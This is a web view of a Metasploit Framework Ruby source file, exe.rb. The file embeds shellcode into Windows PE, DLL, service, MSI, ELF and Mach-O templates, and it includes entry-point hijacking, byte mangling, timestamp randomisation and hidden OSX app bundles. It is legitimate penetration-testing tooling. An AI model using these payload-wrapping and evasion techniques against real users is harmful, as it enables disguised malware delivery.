Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe.rb
19612 views
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
#
6
# The class provides methods for creating and encoding executable file
7
# formats for various platforms. It is a replacement for the previous
8
# code in Rex::Text
9
#
10
11
class EXE
12
13
require 'rex'
14
require 'rex/peparsey'
15
require 'rex/pescan'
16
require 'rex/random_identifier'
17
require 'rex/zip'
18
require 'rex/powershell'
19
require 'metasm'
20
require 'digest/sha1'
21
# Generates a default template
22
#
23
# @param opts [Hash] The options hash
24
# @option opts [String] :template, the template type for the executable
25
# @option opts [String] :template_path, the path for the template
26
# @option opts [Bool] :fallback, If there are no options set, default options will be used
27
# @param exe [String] Template type. If undefined, will use the default.
28
# @param path [String] Where you would like the template to be saved.
29
def self.set_template_default(opts, exe = nil, path = nil)
30
# If no path specified, use the default one
31
path ||= File.join(Msf::Config.data_directory, "templates")
32
33
# If there's no default name, we must blow it up.
34
unless exe
35
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
36
'without default exe name!'
37
end
38
39
# Use defaults only if nothing is specified
40
opts[:template_path] ||= path
41
opts[:template] ||= exe
42
43
# Only use the path when the filename contains no separators.
44
unless opts[:template].include?(File::SEPARATOR)
45
opts[:template] = File.join(opts[:template_path], opts[:template])
46
end
47
48
# Check if it exists now
49
return if File.file?(opts[:template])
50
# If it failed, try the default...
51
if opts[:fallback]
52
default_template = File.join(path, exe)
53
if File.file?(default_template)
54
# Perhaps we should warn about falling back to the default?
55
opts.merge!({ :fellback => default_template })
56
opts[:template] = default_template
57
end
58
end
59
end
60
61
# self.read_replace_script_template
62
#
63
# @param filename [String] Name of the file
64
# @param hash_sub [Hash]
65
def self.read_replace_script_template(filename, hash_sub)
66
template_pathname = File.join(Msf::Config.data_directory, "templates",
67
"scripts", filename)
68
template = ''
69
File.open(template_pathname, "rb") {|f| template = f.read}
70
template % hash_sub
71
end
72
73
74
# Generates a ZIP file.
75
#
76
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
77
# * :data - The content of the file.
78
# * :fname - The file path in the ZIP file
79
# * :comment - A comment
80
# @example Compressing two files, one in a folder called 'test'
81
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
82
# @return [String]
83
def self.to_zip(files)
84
zip = Rex::Zip::Archive.new
85
86
files.each do |f|
87
data = f[:data]
88
fname = f[:fname]
89
comment = f[:comment] || ''
90
zip.add_file(fname, data, comment)
91
end
92
93
zip.pack
94
end
95
96
# Executable generators
97
#
98
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
99
# @param plat [String] The platform (i.e Linux, Windows, OSX)
100
# @param code [String]
101
# @param opts [Hash] The options hash
102
# @param framework [Msf::Framework] The framework of you want to use
103
# @return [String]
104
# @return [NilClass]
105
def self.to_executable(framework, arch, plat, code = '', opts = {})
106
if elf? code or macho? code
107
return code
108
end
109
110
if arch.index(ARCH_X86)
111
112
if plat.index(Msf::Module::Platform::Windows)
113
return to_win32pe(framework, code, opts)
114
end
115
116
if plat.index(Msf::Module::Platform::Linux)
117
return to_linux_x86_elf(framework, code)
118
end
119
120
if plat.index(Msf::Module::Platform::OSX)
121
return to_osx_x86_macho(framework, code)
122
end
123
124
if plat.index(Msf::Module::Platform::BSD)
125
return to_bsd_x86_elf(framework, code)
126
end
127
128
if plat.index(Msf::Module::Platform::Solaris)
129
return to_solaris_x86_elf(framework, code)
130
end
131
132
# XXX: Add remaining x86 systems here
133
end
134
135
if arch.index(ARCH_X64)
136
if (plat.index(Msf::Module::Platform::Windows))
137
return to_win64pe(framework, code, opts)
138
end
139
140
if plat.index(Msf::Module::Platform::Linux)
141
return to_linux_x64_elf(framework, code, opts)
142
end
143
144
if plat.index(Msf::Module::Platform::OSX)
145
return to_osx_x64_macho(framework, code)
146
end
147
148
if plat.index(Msf::Module::Platform::BSD)
149
return to_bsd_x64_elf(framework, code)
150
end
151
end
152
153
if arch.index(ARCH_ARMLE)
154
if plat.index(Msf::Module::Platform::OSX)
155
return to_osx_arm_macho(framework, code)
156
end
157
158
if plat.index(Msf::Module::Platform::Linux)
159
return to_linux_armle_elf(framework, code)
160
end
161
162
# XXX: Add remaining ARMLE systems here
163
end
164
165
if arch.index(ARCH_AARCH64)
166
if plat.index(Msf::Module::Platform::Linux)
167
return to_linux_aarch64_elf(framework, code)
168
end
169
170
if plat.index(Msf::Module::Platform::OSX)
171
return to_osx_aarch64_macho(framework, code)
172
end
173
174
# XXX: Add remaining AARCH64 systems here
175
end
176
177
if arch.index(ARCH_PPC)
178
if plat.index(Msf::Module::Platform::OSX)
179
return to_osx_ppc_macho(framework, code)
180
end
181
# XXX: Add PPC OS X and Linux here
182
end
183
184
if arch.index(ARCH_MIPSLE)
185
if plat.index(Msf::Module::Platform::Linux)
186
return to_linux_mipsle_elf(framework, code)
187
end
188
# XXX: Add remaining MIPSLE systems here
189
end
190
191
if arch.index(ARCH_MIPSBE)
192
if plat.index(Msf::Module::Platform::Linux)
193
return to_linux_mipsbe_elf(framework, code)
194
end
195
# XXX: Add remaining MIPSLE systems here
196
end
197
198
if arch.index(ARCH_RISCV32LE)
199
if plat.index(Msf::Module::Platform::Linux)
200
return to_linux_riscv32le_elf(framework, code)
201
end
202
# TODO: Add remaining RISCV32LE systems here
203
end
204
205
if arch.index(ARCH_RISCV64LE)
206
if plat.index(Msf::Module::Platform::Linux)
207
return to_linux_riscv64le_elf(framework, code)
208
end
209
# TODO: Add remaining RISCV64LE systems here
210
end
211
212
nil
213
end
214
215
# Clears the DYNAMIC_BASE flag for a Windows executable
216
#
217
# @param exe [String] The raw executable to be modified by the method
218
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
219
# @return [String] the modified executable
220
def self.clear_dynamic_base(exe, pe)
221
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
222
c_bits[6] = 0 # DYNAMIC_BASE
223
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
224
225
# PE Header Pointer offset = 60d
226
# SizeOfOptionalHeader offset = 94h
227
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
228
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
229
exe
230
end
231
232
# self.to_win32pe
233
#
234
# @param framework [Msf::Framework]
235
# @param code [String]
236
# @param opts [Hash]
237
# @option opts [String] :sub_method
238
# @option opts [String] :inject, Code to inject into the exe
239
# @option opts [String] :template
240
# @option opts [Symbol] :arch, Set to :x86 by default
241
# @return [String]
242
def self.to_win32pe(framework, code, opts = {})
243
244
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
245
if opts[:sub_method]
246
if opts[:inject]
247
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
248
end
249
250
# use
251
self.to_win32pe_exe_sub(framework, code, opts)
252
end
253
254
# Allow the user to specify their own EXE template
255
set_template_default(opts, "template_x86_windows.exe")
256
257
# Copy the code to a new RWX segment to allow for self-modifying encoders
258
payload = win32_rwx_exec(code)
259
260
# Create a new PE object and run through sanity checks
261
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
262
263
#try to inject code into executable by adding a section without affecting executable behavior
264
if opts[:inject]
265
injector = Msf::Exe::SegmentInjector.new({
266
:payload => code,
267
:template => opts[:template],
268
:arch => :x86,
269
:secname => opts[:secname]
270
})
271
return injector.generate_pe
272
end
273
274
text = nil
275
pe.sections.each {|sec| text = sec if sec.name == ".text"}
276
277
raise RuntimeError, "No .text section found in the template" unless text
278
279
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
280
raise RuntimeError, "The .text section does not contain an entry point"
281
end
282
283
p_length = payload.length + 256
284
285
# If the .text section is too small, append a new section instead
286
if text.size < p_length
287
appender = Msf::Exe::SegmentAppender.new({
288
:payload => code,
289
:template => opts[:template],
290
:arch => :x86,
291
:secname => opts[:secname]
292
})
293
return appender.generate_pe
294
end
295
296
# Store some useful offsets
297
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
298
off_beg = pe.rva_to_file_offset(text.base_rva)
299
300
# We need to make sure our injected code doesn't conflict with the
301
# the data directories stored in .text (import, export, etc)
302
mines = []
303
pe.hdr.opt['DataDirectory'].each do |dir|
304
next if dir.v['Size'] == 0
305
next unless text.contains_rva?(dir.v['VirtualAddress'])
306
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
307
mines << [delta, dir.v['Size']]
308
end
309
310
# Break the text segment into contiguous blocks
311
blocks = []
312
bidx = 0
313
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
314
bbeg = bidx
315
bend = mine[0]
316
blocks << [bidx, bend-bidx] if bbeg != bend
317
bidx = mine[0] + mine[1]
318
end
319
320
# Add the ending block
321
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
322
323
# Find the largest contiguous block
324
blocks.sort!{|a,b| b[1]<=>a[1]}
325
block = blocks.first
326
327
# TODO: Allow the entry point in a different block
328
if payload.length + 256 >= block[1]
329
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
330
end
331
332
# Make a copy of the entire .text section
333
data = text.read(0,text.size)
334
335
# Pick a random offset to store the payload
336
poff = rand(block[1] - payload.length - 256)
337
338
# Flip a coin to determine if EP is before or after
339
eloc = rand(2)
340
eidx = nil
341
342
# Pad the entry point with random nops
343
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
344
345
# Pick an offset to store the new entry point
346
if eloc == 0 # place the entry point before the payload
347
poff += 256
348
eidx = rand(poff-(entry.length + 5))
349
else # place the entry pointer after the payload
350
poff -= [256, poff].min
351
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
352
end
353
354
# Relative jump from the end of the nops to the payload
355
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
356
357
# Mangle 25% of the original executable
358
1.upto(block[1] / 4) do
359
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
360
end
361
362
# Patch the payload and the new entry point into the .text
363
data[block[0] + poff, payload.length] = payload
364
data[block[0] + eidx, entry.length] = entry
365
366
# Create the modified version of the input executable
367
exe = ''
368
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
369
370
a = [text.base_rva + block.first + eidx].pack("V")
371
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
372
exe[off_beg, data.length] = data
373
374
tds = pe.hdr.file.TimeDateStamp
375
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
376
377
cks = pe.hdr.opt.CheckSum
378
unless cks == 0
379
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
380
end
381
382
exe = clear_dynamic_base(exe, pe)
383
pe.close
384
385
exe
386
end
387
388
# self.to_winpe_only
389
#
390
# @param framework [Msf::Framework] The framework of you want to use
391
# @param code [String]
392
# @param opts [Hash]
393
# @param arch [String] Default is "x86"
394
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
395
396
# Allow the user to specify their own EXE template
397
set_template_default(opts, "template_#{arch}_windows.exe")
398
399
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
400
401
exe = ''
402
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
403
404
pe_header_size = 0x18
405
entryPoint_offset = 0x28
406
section_size = 0x28
407
characteristics_offset = 0x24
408
virtualAddress_offset = 0x0c
409
sizeOfRawData_offset = 0x10
410
411
sections_table_offset =
412
pe._dos_header.v['e_lfanew'] +
413
pe._file_header.v['SizeOfOptionalHeader'] +
414
pe_header_size
415
416
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
417
418
sections_header = []
419
pe._file_header.v['NumberOfSections'].times do |i|
420
section_offset = sections_table_offset + (i * section_size)
421
sections_header << [
422
sections_table_characteristics_offset + (i * section_size),
423
exe[section_offset,section_size]
424
]
425
end
426
427
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
428
429
# look for section with entry point
430
sections_header.each do |sec|
431
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
432
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
433
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
434
435
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
436
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
437
if (importsTable - addressOfEntryPoint) < code.length
438
#shift original entry point to prevent tables overwriting
439
addressOfEntryPoint = importsTable - code.length + 4
440
441
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
442
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
443
end
444
# put this section writable
445
characteristics |= 0x8000_0000
446
newcharacteristics = [characteristics].pack('V')
447
exe[sec[0],newcharacteristics.length] = newcharacteristics
448
end
449
end
450
451
# put the shellcode at the entry point, overwriting template
452
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
453
exe[entryPoint_file_offset,code.length] = code
454
exe = clear_dynamic_base(exe, pe)
455
exe
456
end
457
458
# self.to_win32pe_old
459
#
460
# @param framework [Msf::Framework] The framework of you want to use
461
# @param code [String]
462
# @param opts [Hash]
463
def self.to_win32pe_old(framework, code, opts = {})
464
465
payload = code.dup
466
# Allow the user to specify their own EXE template
467
set_template_default(opts, "template_x86_windows_old.exe")
468
469
pe = ''
470
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
471
472
if payload.length <= 2048
473
payload << Rex::Text.rand_text(2048-payload.length)
474
else
475
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
476
"bytes, please fix the calling module"
477
end
478
479
bo = pe.index('PAYLOAD:')
480
unless bo
481
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
482
end
483
pe[bo, payload.length] = payload
484
485
pe[136, 4] = [rand(0x100000000)].pack('V')
486
487
ci = pe.index("\x31\xc9" * 160)
488
unless ci
489
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
490
end
491
cd = pe.index("\x31\xc9" * 160, ci + 320)
492
unless cd
493
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
494
end
495
rc = pe[ci+320, cd-ci-320]
496
497
# 640 + rc.length bytes of room to store an encoded rc at offset ci
498
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
499
lft = 640+rc.length - enc.length
500
501
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
502
pe[ci, buf.length] = buf
503
504
# Make the data section executable
505
xi = pe.index([0xc0300040].pack('V'))
506
pe[xi,4] = [0xe0300020].pack('V')
507
508
# Add a couple random bytes for fun
509
pe << Rex::Text.rand_text(rand(64)+4)
510
pe
511
end
512
513
514
# Splits a string into a number of assembly push operations
515
#
516
# @param string [String] String to be used
517
# @return [String] null terminated string as assembly push ops
518
def self.string_to_pushes(string)
519
str = string.dup
520
# Align string to 4 bytes
521
rem = (str.length) % 4
522
if rem > 0
523
str << "\x00" * (4 - rem)
524
pushes = ''
525
else
526
pushes = "h\x00\x00\x00\x00"
527
end
528
# string is now 4 bytes aligned with null byte
529
530
# push string to stack, starting at the back
531
while str.length > 0
532
four = 'h'+str.slice!(-4,4)
533
pushes << four
534
end
535
536
pushes
537
end
538
539
# self.exe_sub_method
540
#
541
# @param code [String]
542
# @param opts [Hash]
543
# @option opts [Symbol] :exe_type
544
# @option opts [String] :service_exe
545
# @option opts [Boolean] :sub_method
546
# @return [String]
547
def self.exe_sub_method(code,opts ={})
548
pe = self.get_file_contents(opts[:template])
549
550
case opts[:exe_type]
551
when :service_exe
552
opts[:exe_max_sub_length] ||= 8192
553
name = opts[:servicename]
554
if name
555
bo = pe.index('SERVICENAME')
556
unless bo
557
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
558
end
559
pe[bo, 11] = [name].pack('a11')
560
end
561
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
562
when :dll
563
opts[:exe_max_sub_length] ||= 4096
564
when :exe_sub
565
opts[:exe_max_sub_length] ||= 4096
566
end
567
568
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
569
570
if code.length <= opts.fetch(:exe_max_sub_length)
571
pe[bo, code.length] = [code].pack("a*")
572
else
573
raise RuntimeError, "The EXE generator now has a max size of " +
574
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
575
end
576
577
if opts[:exe_type] == :dll
578
mt = pe.index('MUTEX!!!')
579
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
580
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
581
offset = pe.index(name)
582
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
583
end
584
585
if opts[:dll_exitprocess]
586
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
587
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
588
et_index = pe.index(exit_thread)
589
if et_index
590
pe[et_index,exit_process.length] = exit_process
591
else
592
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
593
end
594
end
595
end
596
597
pe
598
end
599
600
# self.to_win32pe_exe_sub
601
#
602
# @param framework [Msf::Framework] The framework of you want to use
603
# @param code [String]
604
# @param opts [Hash]
605
# @return [String]
606
def self.to_win32pe_exe_sub(framework, code, opts = {})
607
# Allow the user to specify their own DLL template
608
set_template_default(opts, "template_x86_windows.exe")
609
opts[:exe_type] = :exe_sub
610
exe_sub_method(code,opts)
611
end
612
613
# self.to_win64pe
614
#
615
# @param framework [Msf::Framework] The framework of you want to use
616
# @param code [String]
617
# @param opts [Hash]
618
# @return [String]
619
def self.to_win64pe(framework, code, opts = {})
620
# Allow the user to specify their own EXE template
621
set_template_default(opts, "template_x64_windows.exe")
622
623
# Try to inject code into executable by adding a section without affecting executable behavior
624
if opts[:inject]
625
injector = Msf::Exe::SegmentInjector.new({
626
:payload => code,
627
:template => opts[:template],
628
:arch => :x64,
629
:secname => opts[:secname]
630
})
631
return injector.generate_pe
632
end
633
634
# Append a new section instead
635
appender = Msf::Exe::SegmentAppender.new({
636
:payload => code,
637
:template => opts[:template],
638
:arch => :x64,
639
:secname => opts[:secname]
640
})
641
return appender.generate_pe
642
end
643
644
# Embeds shellcode within a Windows PE file implementing the Windows
645
# service control methods.
646
#
647
# @param framework [Object]
648
# @param code [String] shellcode to be embedded
649
# @option opts [Boolean] :sub_method use substitution technique with a
650
# service template PE
651
# @option opts [String] :servicename name of the service, not used in
652
# substitution technique
653
#
654
# @return [String] Windows Service PE file
655
def self.to_win32pe_service(framework, code, opts = {})
656
set_template_default(opts, "template_x86_windows_svc.exe")
657
if opts[:sub_method]
658
# Allow the user to specify their own service EXE template
659
opts[:exe_type] = :service_exe
660
return exe_sub_method(code,opts)
661
else
662
ENV['MSF_SERVICENAME'] = opts[:servicename]
663
664
opts[:framework] = framework
665
opts[:payload] = 'stdin'
666
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
667
668
# XXX This should not be required, it appears there is a dependency inversion
669
# See https://github.com/rapid7/metasploit-framework/pull/9851
670
venom_generator = Msf::PayloadGenerator.new(opts)
671
code_service = venom_generator.multiple_encode_payload(code)
672
return to_winpe_only(framework, code_service, opts)
673
end
674
end
675
676
# self.to_win64pe_service
677
#
678
# @param framework [Msf::Framework] The framework of you want to use
679
# @param code [String]
680
# @param opts [Hash]
681
# @option [String] :exe_type
682
# @option [String] :service_exe
683
# @option [String] :dll
684
# @option [String] :inject
685
# @return [String]
686
def self.to_win64pe_service(framework, code, opts = {})
687
# Allow the user to specify their own service EXE template
688
set_template_default(opts, "template_x64_windows_svc.exe")
689
opts[:exe_type] = :service_exe
690
exe_sub_method(code,opts)
691
end
692
693
# self.set_template_default_winpe_dll
694
#
695
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
696
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
697
#
698
# @param opts [Hash]
699
# @param arch The architecture, as one the predefined constants.
700
# @param size [Integer] The size of the payload.
701
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
702
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
703
return if opts[:template].present?
704
705
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
706
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
707
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
708
if match
709
opts[:exe_max_sub_length] = match.first
710
size_suffix = match.last
711
end
712
713
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
714
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
715
716
if flavor.present?
717
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
718
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
719
end
720
721
flavor = '_' + flavor
722
end
723
724
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
725
end
726
727
# self.to_win32pe_dll
728
#
729
# @param framework [Msf::Framework] The framework of you want to use
730
# @param code [String]
731
# @param opts [Hash]
732
# @option [String] :exe_type
733
# @option [String] :dll
734
# @option [String] :inject
735
# @return [String]
736
def self.to_win32pe_dll(framework, code, opts = {})
737
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
738
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
739
opts[:exe_type] = :dll
740
741
if opts[:inject]
742
self.to_win32pe(framework, code, opts)
743
else
744
exe_sub_method(code,opts)
745
end
746
end
747
748
# self.to_win64pe_dll
749
#
750
# @param framework [Msf::Framework] The framework of you want to use
751
# @param code [String]
752
# @param opts [Hash]
753
# @option [String] :exe_type
754
# @option [String] :dll
755
# @option [String] :inject
756
# @return [String]
757
def self.to_win64pe_dll(framework, code, opts = {})
758
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
759
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
760
761
opts[:exe_type] = :dll
762
763
if opts[:inject]
764
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
765
else
766
exe_sub_method(code,opts)
767
end
768
end
769
770
771
# self.to_win32pe_dccw_gdiplus_dll
772
#
773
# @param framework [Msf::Framework] The framework of you want to use
774
# @param code [String]
775
# @param opts [Hash]
776
# @option [String] :exe_type
777
# @option [String] :dll
778
# @option [String] :inject
779
# @return [String]
780
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
781
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
782
to_win32pe_dll(framework, code, opts)
783
end
784
785
# self.to_win64pe_dccw_gdiplus_dll
786
#
787
# @param framework [Msf::Framework] The framework of you want to use
788
# @param code [String]
789
# @param opts [Hash]
790
# @option [String] :exe_type
791
# @option [String] :dll
792
# @option [String] :inject
793
# @return [String]
794
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
795
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
796
to_win64pe_dll(framework, code, opts)
797
end
798
799
# Wraps an executable inside a Windows .msi file for auto execution when run
800
#
801
# @param framework [Msf::Framework] The framework of you want to use
802
# @param exe [String]
803
# @param opts [Hash]
804
# @option opts [String] :msi_template_path
805
# @option opts [String] :msi_template
806
# @return [String]
807
def self.to_exe_msi(framework, exe, opts = {})
808
if opts[:uac]
809
opts[:msi_template] ||= "template_windows.msi"
810
else
811
opts[:msi_template] ||= "template_nouac_windows.msi"
812
end
813
replace_msi_buffer(exe, opts)
814
end
815
816
#self.replace_msi_buffer
817
#
818
# @param pe [String]
819
# @param opts [String]
820
# @option [String] :msi_template
821
# @option [String] :msi_template_path
822
# @return [String]
823
def self.replace_msi_buffer(pe, opts)
824
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
825
826
if opts[:msi_template].include?(File::SEPARATOR)
827
template = opts[:msi_template]
828
else
829
template = File.join(opts[:msi_template_path], opts[:msi_template])
830
end
831
832
msi = self.get_file_contents(template)
833
834
section_size = 2**(msi[30..31].unpack('v')[0])
835
836
# This table is one of the few cases where signed values are needed
837
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
838
839
buffer_chain = []
840
841
# This is closely coupled with the template provided and ideally
842
# would be calculated from the dir stream?
843
current_secid = 5
844
845
until current_secid == -2
846
buffer_chain << current_secid
847
current_secid = sector_allocation_table[current_secid]
848
end
849
850
buffer_size = buffer_chain.length * section_size
851
852
if pe.size > buffer_size
853
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
854
end
855
856
pe_block_start = 0
857
pe_block_end = pe_block_start + section_size - 1
858
859
buffer_chain.each do |section|
860
block_start = section_size * (section + 1)
861
block_end = block_start + section_size - 1
862
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
863
msi[block_start..block_end] = pe_block
864
pe_block_start = pe_block_end + 1
865
pe_block_end += section_size
866
end
867
868
msi
869
end
870
871
# self.to_osx_arm_macho
872
#
873
# @param framework [Msf::Framework] The framework of you want to use
874
# @param code [String]
875
# @param opts [Hash]
876
# @option [String] :template
877
# @return [String]
878
def self.to_osx_arm_macho(framework, code, opts = {})
879
880
# Allow the user to specify their own template
881
set_template_default(opts, "template_armle_darwin.bin")
882
883
mo = self.get_file_contents(opts[:template])
884
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
885
mo[bo, code.length] = code
886
mo
887
end
888
889
# self.to_osx_aarch64_macho
890
#
891
# @param framework [Msf::Framework] The framework of you want to use
892
# @param code [String]
893
# @param opts [Hash]
894
# @option [String] :template
895
# @return [String]
896
def self.to_osx_aarch64_macho(framework, code, opts = {})
897
898
# Allow the user to specify their own template
899
set_template_default(opts, "template_aarch64_darwin.bin")
900
901
mo = self.get_file_contents(opts[:template])
902
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
903
mo[bo, code.length] = code
904
Payload::MachO.new(mo).sign
905
mo
906
end
907
908
# self.to_osx_ppc_macho
909
#
910
# @param framework [Msf::Framework] The framework of you want to use
911
# @param code [String]
912
# @param opts [Hash]
913
# @option [String] :template
914
# @return [String]
915
def self.to_osx_ppc_macho(framework, code, opts = {})
916
917
# Allow the user to specify their own template
918
set_template_default(opts, "template_ppc_darwin.bin")
919
920
mo = self.get_file_contents(opts[:template])
921
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
922
mo[bo, code.length] = code
923
mo
924
end
925
926
# self.to_osx_x86_macho
927
#
928
# @param framework [Msf::Framework] The framework of you want to use
929
# @param code [String]
930
# @param opts [Hash]
931
# @option [String] :template
932
# @return [String]
933
def self.to_osx_x86_macho(framework, code, opts = {})
934
935
# Allow the user to specify their own template
936
set_template_default(opts, "template_x86_darwin.bin")
937
938
mo = self.get_file_contents(opts[:template])
939
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
940
mo[bo, code.length] = code
941
mo
942
end
943
944
# self.to_osx_x64_macho
945
#
946
# @param framework [Msf::Framework] The framework of you want to use
947
# @param code [String]
948
# @param opts [Hash]
949
# @option [String] :template
950
# @return [String]
951
def self.to_osx_x64_macho(framework, code, opts = {})
952
set_template_default(opts, "template_x64_darwin.bin")
953
954
macho = self.get_file_contents(opts[:template])
955
bin = self.find_payload_tag(macho,
956
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
957
macho[bin, code.length] = code
958
macho
959
end
960
961
# self.to_osx_app
962
# @param opts [Hash] The options hash
963
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
964
# @option opts [Hash] :app_name (random) the name of the OSX app
965
# @option opts [Hash] :hidden (true) hide the app when it is running
966
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
967
# @return [String] zip archive containing an OSX .app directory
968
def self.to_osx_app(exe, opts = {})
969
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
970
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
971
hidden = opts.fetch(:hidden, true)
972
plist_extra = opts.fetch(:plist_extra, '')
973
974
app_name.chomp!(".app")
975
app_name += ".app"
976
977
visible_plist = if hidden
978
%Q|
979
<key>LSBackgroundOnly</key>
980
<string>1</string>
981
|
982
else
983
''
984
end
985
986
info_plist = %Q|
987
<?xml version="1.0" encoding="UTF-8"?>
988
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
989
<plist version="1.0">
990
<dict>
991
<key>CFBundleExecutable</key>
992
<string>#{exe_name}</string>
993
<key>CFBundleIdentifier</key>
994
<string>com.#{exe_name}.app</string>
995
<key>CFBundleName</key>
996
<string>#{exe_name}</string>#{visible_plist}
997
<key>CFBundlePackageType</key>
998
<string>APPL</string>
999
#{plist_extra}
1000
</dict>
1001
</plist>
1002
|
1003
1004
zip = Rex::Zip::Archive.new
1005
zip.add_file("#{app_name}/", '')
1006
zip.add_file("#{app_name}/Contents/", '')
1007
zip.add_file("#{app_name}/Contents/Resources/", '')
